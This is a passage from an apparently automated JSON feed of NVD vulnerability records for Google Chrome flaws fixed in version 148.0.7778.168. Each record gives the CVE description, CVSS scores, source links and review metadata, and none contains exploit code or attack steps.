2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8547","cveId":"CVE-2026-8547","aliases":[],"kind":"vulnerability","title":"Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform...","summary":"Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)","detail":"Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:15.607Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8547","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8547","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8547","type":"primary","publishedAt":"2026-05-14T20:17:15.607Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8544","cveId":"CVE-2026-8544","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:15.270Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8544","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8544","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8544","type":"primary","publishedAt":"2026-05-14T20:17:15.270Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8542","cveId":"CVE-2026-8542","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...","summary":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:15.070Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8542","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8542","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8542","type":"primary","publishedAt":"2026-05-14T20:17:15.070Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8540","cveId":"CVE-2026-8540","aliases":[],"kind":"vulnerability","title":"Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:14.860Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8540","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8540","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8540","type":"primary","publishedAt":"2026-05-14T20:17:14.860Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8534","cveId":"CVE-2026-8534","aliases":[],"kind":"vulnerability","title":"Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a...","summary":"Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:14.240Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8534","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8534","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8534","type":"primary","publishedAt":"2026-05-14T20:17:14.240Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8533","cveId":"CVE-2026-8533","aliases":[],"kind":"vulnerability","title":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape...","summary":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:14.137Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8533","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8533","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8533","type":"primary","publishedAt":"2026-05-14T20:17:14.137Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8532","cveId":"CVE-2026-8532","aliases":[],"kind":"vulnerability","title":"Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:14.030Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8532","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8532","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8532","type":"primary","publishedAt":"2026-05-14T20:17:14.030Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8531","cveId":"CVE-2026-8531","aliases":[],"kind":"vulnerability","title":"Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.","summary":"Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)","detail":"Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.930Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8531","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8531","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8531","type":"primary","publishedAt":"2026-05-14T20:17:13.930Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8530","cveId":"CVE-2026-8530","aliases":[],"kind":"vulnerability","title":"Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...","summary":"Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.827Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8530","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8530","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8530","type":"primary","publishedAt":"2026-05-14T20:17:13.827Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8527","cveId":"CVE-2026-8527","aliases":[],"kind":"vulnerability","title":"Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.","summary":"Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)","detail":"Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.507Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8527","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8527","type":"primary","publishedAt":"2026-05-14T20:17:13.507Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 